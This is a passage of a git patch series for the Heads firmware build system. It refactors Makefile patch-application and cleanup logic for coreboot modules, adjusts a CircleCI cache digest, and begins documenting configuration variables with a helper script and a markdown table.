\ fi if [ ! -e "$(build)/$($1_base_dir)/.patched" ]; then \ - echo "INFO: .patched file not found. Beginning patch application for $1"; \ + echo "INFO: .patched file not found. Beginning patch application for $1" && \ if [ -r patches/$($1_patch_name).patch ]; then \ - echo "INFO: Found patch file patches/$($1_patch_name).patch. Applying patch..."; \ + echo "INFO: Found patch file patches/$($1_patch_name).patch. Applying patch..." && \ if ! ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ); then \ - echo "ERROR: Failed to apply patch patches/$($1_patch_name).patch. Reversing and reapplying."; \ - ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || true; \ - ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || exit 1; \ - fi; \ + echo "ERROR: Failed to apply patch patches/$($1_patch_name).patch. Reversing and reapplying." && \ + ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || true && \ + ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || exit 1 ; \ + fi ; \ fi && \ if [ -d patches/$($1_patch_name) ] && \ [ -r patches/$($1_patch_name) ] || [ -n "$$(ls patches/$($1_patch_name)/*.patch 2>/dev/null)" ]; then \ for patch in patches/$($1_patch_name)/*.patch ; do \ - echo "Applying patch file : $$$$patch " ; \ + echo "Applying patch file : $$$$patch " && \ if ! ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ); then \ - echo "ERROR: Failed to apply patch $$$$patch. Reversing and reapplying."; \ - ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || true; \ - ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || exit 1; \ - fi; \ + echo "ERROR: Failed to apply patch $$$$patch. Reversing and reapplying." && \ + ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || true && \ + ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || exit 1 ; \ + fi ; \ done ; \ fi && \ - echo "INFO: Patches applied successfully. Creating .patched file"; \ - touch "$(build)/$($1_base_dir)/.patched"; \ + echo "INFO: Patches applied successfully. Creating .patched file" && \ + touch "$(build)/$($1_base_dir)/.patched" ; \ fi else # Versioned modules (each version a separate module) don't need to include @@ -469,40 +469,40 @@ define define_module = mkdir -p "$$(dir $$@)" tar -xf "$(packages)/$($1_tar)" $(or $($1_tar_opt),--strip 1) -C "$$(dir $$@)" if [ -r patches/$($1_patch_name).patch ]; then \ - echo "INFO: Applying single patch file patches/$($1_patch_name).patch"; \ + echo "INFO: Applying single patch file patches/$($1_patch_name).patch" && \ if ! ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ); then \ - echo "ERROR: Failed to apply patch patches/$($1_patch_name).patch. Reversing and reapplying."; \ - ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || true; \ - ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || exit 1; \ - fi; \ - fi + echo "ERROR: Failed to apply patch patches/$($1_patch_name).patch. Reversing and reapplying." && \ + ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || true && \ + ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || exit 1 ; \ + fi ; \ + fi ; \ if [ -d patches/$($1_patch_name) ]; then \ for patch in patches/$($1_patch_name)/*.patch; do \ - echo "INFO: Applying patch file: $$$$patch"; \ + echo "INFO: Applying patch file: $$$$patch" && \ if ! ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ); then \ - echo "ERROR: Failed to apply patch $$$$patch. Reversing and reapplying."; \ - ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || true; \ - ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || exit 1; \ - fi; \ - done; \ + echo "ERROR: Failed to apply patch $$$$patch. Reversing and reapplying." && \ + ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || true && \ + ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || exit 1 ; \ + fi ; \ + done ; \ fi if [ ! -e "$$@" ] && [ -e "$(build)/$($1_base_dir)/.patched" ]; then \ - echo "INFO: .canary file not found but .patched exists. Reversing and reapplying patches for $1"; \ + echo "INFO: .canary file not found but .patched exists. Reversing and reapplying patches for $1" && \ if [ -r patches/$($1_patch_name).patch ]; then \ - echo "INFO: Reversing single patch file patches/$($1_patch_name).patch."; \ - ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || true; \ - echo "INFO: Reapplying single patch file patches/$($1_patch_name).patch."; \ - ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || exit 1; \ - fi; \ + echo "INFO: Reversing single patch file patches/$($1_patch_name).patch." && \ + ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || true && \ + echo "INFO: Reapplying single patch file patches/$($1_patch_name).patch." && \ + ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || exit 1 ; \ + fi ; \ if [ -d patches/$($1_patch_name) ]; then \ for patch in patches/$($1_patch_name)/*.patch; do \ - echo "INFO: Reversing patch file: $$$$patch"; \ - ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || true; \ - echo "INFO: Reapplying patch file: $$$$patch"; \ - ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || exit 1; \ - done; \ - fi; \ - rm -f "$(build)/$($1_base_dir)/.patched"; \ + echo "INFO: Reversing patch file: $$$$patch" && \ + ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || true && \ + echo "INFO: Reapplying patch file: $$$$patch" && \ + ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || exit 1 ; \ + done ; \ + fi ; \ + rm -f "$(build)/$($1_base_dir)/.patched" ; \ fi touch "$$@" endif @@ -929,22 +929,22 @@ define overwrite_canary_if_coreboot_git @echo "Checking for coreboot directory: build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)" if [ -d "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)" ] && \ [ -d "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)/.git" ]; then \ - echo "INFO: Recreating .canary file for 'build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)' with placeholder."; \ - echo BOGUS_COMMIT_ID > "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)/.canary"; \ - echo "NOTE: If a patch fails to apply, some files might need to be deleted manually to resolve conflicts."; \ - echo "INFO: Reversing patches dynamically in reverse order."; \ + echo "INFO: Recreating .canary file for 'build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)' with placeholder." && \ + echo BOGUS_COMMIT_ID > "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)/.canary" && \ + echo "NOTE: If a patch fails to apply, some files might need to be deleted manually to resolve conflicts." && \ + echo "INFO: Reversing patches dynamically in reverse order." && \ for patch in $$(ls patches/coreboot-$(CONFIG_COREBOOT_VERSION)/*.patch 2>/dev/null | sort -r); do \ - echo "INFO: Reversing patch file: $$patch"; \ - ( git apply --reverse --verbose --reject --binary --directory build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION) < $$patch ) || true; \ - done; \ + echo "INFO: Reversing patch file: $$patch" && \ + ( git apply --reverse --verbose --reject --binary --directory build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION) < $$patch ) || true ; \ + done && \ if [ -r patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch ]; then \ - echo "INFO: Reversing main patch file patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch."; \ - ( git apply --reverse --verbose --reject --binary --directory build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION) < patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch ) || true; \ - fi; \ - echo "INFO: Removing .patched file to allow reapplication of patches."; \ - rm -f "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)/.patched"; \ + echo "INFO: Reversing main patch file patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch." && \ + ( git apply --reverse --verbose --reject --binary --directory build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION) < patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch ) || true ; \ + fi && \ + echo "INFO: Removing .patched file to allow reapplication of patches." && \ + rm -f "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)/.patched" ; \ else \ - echo "INFO: Coreboot directory or .git not found, skipping .canary overwrite."; \ + echo "INFO: Coreboot directory or .git not found, skipping .canary overwrite." ; \ fi endef @@ -955,8 +955,8 @@ real.clean: $(kernel_headers) \ ; do \ if [ ! -z "$$dir" ]; then \ - rm -rf "build/${CONFIG_TARGET_ARCH}/$$dir"; \ - fi; \ + rm -rf "build/${CONFIG_TARGET_ARCH}/$$dir" ; \ + fi ; \ done cd install && rm -rf -- * $(call overwrite_canary_if_coreboot_git) From d559fcfa1623f8d28daa55bb59c07edc52971758 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 11 Apr 2025 13:13:17 -0400 Subject: [PATCH 588/619] Makefile: overwrite_canary_if_coreboot_git helper; only inject coreboot git .canary with bogus commit, remove duplicated patches apply/reversal/reapply logic Signed-off-by: Thierry Laurion --- Makefile | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) diff --git a/Makefile b/Makefile index 2d65bae68..99f73fe58 100644 --- a/Makefile +++ b/Makefile @@ -931,18 +931,7 @@ define overwrite_canary_if_coreboot_git [ -d "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)/.git" ]; then \ echo "INFO: Recreating .canary file for 'build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)' with placeholder." && \ echo BOGUS_COMMIT_ID > "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)/.canary" && \ - echo "NOTE: If a patch fails to apply, some files might need to be deleted manually to resolve conflicts." && \ - echo "INFO: Reversing patches dynamically in reverse order." && \ - for patch in $$(ls patches/coreboot-$(CONFIG_COREBOOT_VERSION)/*.patch 2>/dev/null | sort -r); do \ - echo "INFO: Reversing patch file: $$patch" && \ - ( git apply --reverse --verbose --reject --binary --directory build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION) < $$patch ) || true ; \ - done && \ - if [ -r patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch ]; then \ - echo "INFO: Reversing main patch file patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch." && \ - ( git apply --reverse --verbose --reject --binary --directory build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION) < patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch ) || true ; \ - fi && \ - echo "INFO: Removing .patched file to allow reapplication of patches." && \ - rm -f "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)/.patched" ; \ + echo "INFO: .canary file has been recreated." ; \ else \ echo "INFO: Coreboot directory or .git not found, skipping .canary overwrite." ; \ fi From 96d2c2f814359911e299fbaf0f1e12fcc86be5fb Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 11 Apr 2025 14:06:02 -0400 Subject: [PATCH 589/619] Makefile: simplify patch application, reversal + reapplication if failed logic without subshell Signed-off-by: Thierry Laurion --- Makefile | 31 +++++++++++++++---------------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/Makefile b/Makefile index 99f73fe58..aedeeb8d1 100644 --- a/Makefile +++ b/Makefile @@ -427,25 +427,24 @@ define define_module = echo "INFO: .patched file not found. Beginning patch application for $1" && \ if [ -r patches/$($1_patch_name).patch ]; then \ echo "INFO: Found patch file patches/$($1_patch_name).patch. Applying patch..." && \ - if ! ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ); then \ + if ! git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch; then \ echo "ERROR: Failed to apply patch patches/$($1_patch_name).patch. Reversing and reapplying." && \ - ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || true && \ - ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || exit 1 ; \ - fi ; \ - fi && \ - if [ -d patches/$($1_patch_name) ] && \ - [ -r patches/$($1_patch_name) ] || [ -n "$$(ls patches/$($1_patch_name)/*.patch 2>/dev/null)" ]; then \ - for patch in patches/$($1_patch_name)/*.patch ; do \ - echo "Applying patch file : $$$$patch " && \ - if ! ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ); then \ + git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch || true && \ + git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch || exit 1; \ + fi; \ + fi; \ + if [ -d patches/$($1_patch_name) ]; then \ + for patch in patches/$($1_patch_name)/*.patch; do \ + echo "Applying patch file: $$$$patch" && \ + if ! git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < "$$$$patch"; then \ echo "ERROR: Failed to apply patch $$$$patch. Reversing and reapplying." && \ - ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || true && \ - ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || exit 1 ; \ - fi ; \ - done ; \ - fi && \ + git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < "$$$$patch" || true && \ + git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < "$$$$patch" || exit 1; \ + fi; \ + done; \ + fi; \ echo "INFO: Patches applied successfully. Creating .patched file" && \ - touch "$(build)/$($1_base_dir)/.patched" ; \ + touch "$(build)/$($1_base_dir)/.patched"; \ fi else # Versioned modules (each version a separate module) don't need to include From 83c8947240ce05986f0a8d72862786a2d07e70b7 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 11 Apr 2025 14:17:22 -0400 Subject: [PATCH 590/619] Makefile: unify console output for unique patch application vs multiple ones under patches/* Signed-off-by: Thierry Laurion --- Makefile | 24 ++++++++++++++---------- 1 file changed, 14 insertions(+), 10 deletions(-) diff --git a/Makefile b/Makefile index aedeeb8d1..8fb3c10f8 100644 --- a/Makefile +++ b/Makefile @@ -426,24 +426,25 @@ define define_module = if [ ! -e "$(build)/$($1_base_dir)/.patched" ]; then \ echo "INFO: .patched file not found. Beginning patch application for $1" && \ if [ -r patches/$($1_patch_name).patch ]; then \ - echo "INFO: Found patch file patches/$($1_patch_name).patch. Applying patch..." && \ + echo "INFO: Applying single patch file: patches/$($1_patch_name).patch" && \ if ! git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch; then \ - echo "ERROR: Failed to apply patch patches/$($1_patch_name).patch. Reversing and reapplying." && \ + echo "ERROR: Failed to apply patch: patches/$($1_patch_name).patch. Reversing and reapplying." && \ git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch || true && \ git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch || exit 1; \ fi; \ fi; \ if [ -d patches/$($1_patch_name) ]; then \ + echo "INFO: Applying multiple patch files from directory: patches/$($1_patch_name)" && \ for patch in patches/$($1_patch_name)/*.patch; do \ - echo "Applying patch file: $$$$patch" && \ + echo "INFO: Applying patch file: $$$$patch" && \ if ! git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < "$$$$patch"; then \ - echo "ERROR: Failed to apply patch $$$$patch. Reversing and reapplying." && \ + echo "ERROR: Failed to apply patch: $$$$patch. Reversing and reapplying." && \ git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < "$$$$patch" || true && \ git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < "$$$$patch" || exit 1; \ fi; \ done; \ fi; \ - echo "INFO: Patches applied successfully. Creating .patched file" && \ + echo "INFO: Patches applied successfully. Creating .patched file." && \ touch "$(build)/$($1_base_dir)/.patched"; \ fi else @@ -468,19 +469,21 @@ define define_module = mkdir -p "$$(dir $$@)" tar -xf "$(packages)/$($1_tar)" $(or $($1_tar_opt),--strip 1) -C "$$(dir $$@)" if [ -r patches/$($1_patch_name).patch ]; then \ - echo "INFO: Applying single patch file patches/$($1_patch_name).patch" && \ + echo "INFO: Applying single patch file: patches/$($1_patch_name).patch" && \ if ! ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ); then \ - echo "ERROR: Failed to apply patch patches/$($1_patch_name).patch. Reversing and reapplying." && \ + echo "ERROR: Failed to apply patch: patches/$($1_patch_name).patch. Reversing and reapplying." && \ ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || true && \ ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || exit 1 ; \ fi ; \ fi ; \ if [ -d patches/$($1_patch_name) ]; then \ + echo "INFO: Applying multiple patch files from directory: patches/$($1_patch_name)" && \ for patch in patches/$($1_patch_name)/*.patch; do \ echo "INFO: Applying patch file: $$$$patch" && \ if ! ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ); then \ - echo "ERROR: Failed to apply patch $$$$patch. Reversing and reapplying." && \ + echo "ERROR: Failed to apply patch: $$$$patch. Reversing and reapplying." && \ ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || true && \ + echo "INFO: Reapplying patch file: $$$$patch" && \ ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || exit 1 ; \ fi ; \ done ; \ @@ -488,12 +491,13 @@ define define_module = if [ ! -e "$$@" ] && [ -e "$(build)/$($1_base_dir)/.patched" ]; then \ echo "INFO: .canary file not found but .patched exists. Reversing and reapplying patches for $1" && \ if [ -r patches/$($1_patch_name).patch ]; then \ - echo "INFO: Reversing single patch file patches/$($1_patch_name).patch." && \ + echo "INFO: Reversing single patch file: patches/$($1_patch_name).patch." && \ ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || true && \ - echo "INFO: Reapplying single patch file patches/$($1_patch_name).patch." && \ + echo "INFO: Reapplying single patch file: patches/$($1_patch_name).patch." && \ ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || exit 1 ; \ fi ; \ if [ -d patches/$($1_patch_name) ]; then \ + echo "INFO: Reversing and reapplying multiple patch files from directory: patches/$($1_patch_name)" && \ for patch in patches/$($1_patch_name)/*.patch; do \ echo "INFO: Reversing patch file: $$$$patch" && \ ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || true && \ From 4981e7069d9fde3578704ef602a958f48a53a085 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 12 Apr 2025 15:13:31 -0400 Subject: [PATCH 591/619] Makefile: Wipe coreboot_dir and board_dir cleanup in canary dev cycle helper for reproducible builds in dev cycles Otherwise qemu roms which injects distinct public key with entropy at each build are wiped. TODO : revisit approach when flashrom/flashprog/qemu supports 16MB SPI flash emulation so we can use flashprog to flash internally, which will require refactoring Signed-off-by: Thierry Laurion --- Makefile | 10 ++++++++-- modules/coreboot | 1 - 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/Makefile b/Makefile index 8fb3c10f8..16db0e539 100644 --- a/Makefile +++ b/Makefile @@ -974,8 +974,14 @@ real.remove_canary_files-extract_patch_rebuild_what_changed: @echo "This approach economizes time since most build artifacts do not need to be rebuilt, as the file dates should be the same as when you originally built them." @echo "Only a minimal time is needed for rebuilding, which is also good for your SSD." @echo "*** USE THIS APPROACH FIRST ***" - find ./build/ -type f -name ".canary" -print -delete - find ./install/*/* -print -exec rm -rf {} + 2>/dev/null || true + @echo "Removing ./build .canary files..." + @find ./build/ -type f -name ".canary" -print -delete || true + @echo "Removing install/*/* content..." + @find ./install/*/* -print -exec rm -rf {} + 2>/dev/null || true + @echo "Removing coreboot board related artifact directory: $(build)/$(coreboot_dir)" + rm -rf "$(build)/$(coreboot_dir)" + @echo "Removing coreboot board related artifacts directory $(board_build)" + rm -rf "$(board_build)" $(call overwrite_canary_if_coreboot_git) real.gitclean_keep_packages_and_build: diff --git a/modules/coreboot b/modules/coreboot index f3bda07f6..84b9f5130 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -150,7 +150,6 @@ endif $(coreboot_module)_configure := \ mkdir -p "$(build)/$(coreboot_dir)"; \ - rm -rf $(build)/$(coreboot_dir)/*; \ $(call install_config,$(pwd)/$(CONFIG_COREBOOT_CONFIG),$(build)/$(coreboot_dir)/.config); \ sed -i '/^CONFIG_LOCALVERSION/d' $(build)/$(coreboot_dir)/.config; \ echo 'CONFIG_LOCALVERSION=$(CONFIG_COREBOOT_LOCALVERSION)' >> $(build)/$(coreboot_dir)/.config; \ From 46e6efea68fb29dd9fc47ef1945d2e7937433d2e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 13 Apr 2025 10:34:15 -0400 Subject: [PATCH 592/619] CircleCI: Remove Makefile from save_Cache second layer (coreboot crossgcc reusable cache layer) from being reused to speed up rebuilds Signed-off-by: Thierry Laurion --- .circleci/config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index f6cf08e44..ec4607f41 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -68,7 +68,7 @@ jobs: - run: name: Creating coreboot (and associated patches) and musl-cross-make modules digest (musl-cross-make and coreboot cache digest) command: | - find .circleci/config.yml ./Makefile ./flake.lock ./modules/coreboot ./modules/musl-cross-make* ./patches/coreboot* -type f | sort -h | xargs sha256sum > ./tmpDir/coreboot_musl-cross-make.sha256sums + find .circleci/config.yml ./flake.lock ./modules/coreboot ./modules/musl-cross-make* ./patches/coreboot* -type f | sort -h | xargs sha256sum > ./tmpDir/coreboot_musl-cross-make.sha256sums - run: name: Creating musl-cross-make and musl-cross-make patches digest (musl-cross-make cache digest) command: | From 53e0e5d430be5808e3ab39836b28928c5a5e148b Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Thu, 16 Jan 2025 09:26:25 -0500 Subject: [PATCH 593/619] doc: Start documenting Heads logging and configuration variables Signed-off-by: Jonathon Hall --- bin/find_undocumented_config.sh | 47 +++++++++ doc/config.md | 160 +++++++++++++++++++++++++++++ doc/logging.md | 177 ++++++++++++++++++++++++++++++++ 3 files changed, 384 insertions(+) create mode 100755 bin/find_undocumented_config.sh create mode 100644 doc/config.md create mode 100644 doc/logging.md diff --git a/bin/find_undocumented_config.sh b/bin/find_undocumented_config.sh new file mode 100755 index 000000000..d33637189 --- /dev/null +++ b/bin/find_undocumented_config.sh @@ -0,0 +1,47 @@ +#! /usr/bin/env bash + +set -eo pipefail + +cd "$(dirname "${BASH_SOURCE[0]}")/.." + +# By default, just show the variables. Invoke with --show-files to show where +# each undocumented variable appears (up to 3 occurrences) +SHOW_FILES= +if [ "$1" = --show-files ]; then + SHOW_FILES=y +fi + +# Don't search the entire repo, we only want config variables used by Heads: +# - config and patches contain lots of CONFIG_ variables from other projects, +# ignore them +# - build/crossgcc/packages are all build outputs and will also contain lots of +# other projects, ignore them +# - modules files are mostly relevant (many do define CONFIG_ variables to +# tweak the module), but a few have several variables actually from the +# project being configured, not used by Heads. Exclude specific files only +# +# boards, initrd, Makefile, and modules cover all Heads variables pretty well +# without introducing many false positives. +GREP_VARS=(-EroIh '\bCONFIG_[A-Za-z0-9_]+') +EXCLUDE_MODULES=" +flashrom +flashprog +coreboot +" +ALL_VARS="$(grep "${GREP_VARS[@]}" boards initrd Makefile)" +ALL_VARS+="$(grep --exclude-from=<(echo "${EXCLUDE_MODULES[@]}") "${GREP_VARS[@]}" modules)" + +ALL_VARS="$(echo "$ALL_VARS" | sort | uniq)" + +# Check each variable to see if it's already documented +while IFS= read -r var; do + if ! grep -Eq "\b$var\b" doc/config.md; then + if [ "$SHOW_FILES" = y ]; then + echo + echo "$var" + grep -r "$var" boards initrd Makefile modules | head -3 || true + else + echo "$var" + fi + fi +done < <(echo "$ALL_VARS") diff --git a/doc/config.md b/doc/config.md new file mode 100644 index 000000000..223ea8043 --- /dev/null +++ b/doc/config.md @@ -0,0 +1,160 @@ +# Heads Configuration Variables + +Heads contains a number of configuration variables. + +All variables can be set at build time. +(Variables used only at runtime can still be set at build time, this changes the default runtime setting.) +However some variables can _only_ be set at build time, they cannot be changed later. + +## User Settings + +These variables are explicit user settings managed via the Heads menus. +Setting any of these at build time sets the default setting. + +| Variable | Purpose | +|---|---| +| CONFIG_AUTO_BOOT_TIMEOUT | Whether to boot automatically, and how long to wait if so. Empty disables automatic boo. A positive integer is the number of seconds to wait before booting automatically. | +| CONFIG_AUTOMATIC_POWERON | Whether to power on automatically after power loss. Only available if board provides CONFIG_SUPPORT_AUTOMATIC_POWERON. | +| CONFIG_BASIC | 'Basic' mode - no tamper evident boot. | +| CONFIG_BASIC_NO_AUTOMATIC_DEFAULT | In Basic mode: By default, Basic mode detects the default boot option during boot, so it does not need to be updated when the OS boot options change. Enabling this setting uses a manually-specified boot option instead. | +| CONFIG_BASIC_USB_AUTOBOOT | In Basic mode: Causes Heads to boot to a bootable USB flash drive by default if inserted. Allows headless systems to perform OS recovery using appropriate bootable images designed for network recovery. | + +:point_right: TODO: document these: + +``` +CONFIG_BOOT_DEV +CONFIG_DEBUG_OUTPUT +CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT +CONFIG_FINALIZE_PLATFORM_LOCKING +CONFIG_RESTRICTED_BOOT +CONFIG_ROOT_CHECK_AT_BOOT +CONFIG_ROOT_DEV +CONFIG_ROOT_DIRLIST +CONFIG_USE_BLOB_JAIL +CONFIG_USER_USB_KEYBOARD +``` + +## Build configuration + +These variables are configure the firmware build. +Many are also available at runtime. +These are not intended to be changed in user config. + +| Variable | Purpose | +|---|---| +| CONFIG_BOARD | Internal name of the board being built. Avoid testing this for specific boards in initrd/, instead add a customization point and override it with boards//initrd/bin/. (For example, boards/librem_mini_v2/initrd/bin/board-init.sh.) | +| CONFIG_BOARD_NAME | Display name of the board being built. Use this to show the board name to the user. | +| CONFIG_BRAND_NAME | Brand name to use to refer to the firmware itself. Upstream, this is "Heads". For example, "Heads main menu", "Enable Heads debug tracing", etc. Distributions can override this to their specific brand name (usually in site-local/config). | + +## Feature support + +These variables enable features that can be controlled by the user. +Usually, they require some board-specific support. +These are not intended to be changed in user config. + +| Variable | Purpose | +|---|---| +| CONFIG_REQUIRE_USB_KEYBOARD | Board must always have USB input support, there is no other input method. This hides the USB keyboard support setting from the config GUI, and CONFIG_USER_USB_KEYBOARD is ignored. | +| CONFIG_SUPPORT_AUTOMATIC_POWERON | Board supports powering on automatically after power loss. The board must provide /bin/set_ec_poweron.sh to control this setting. User can set 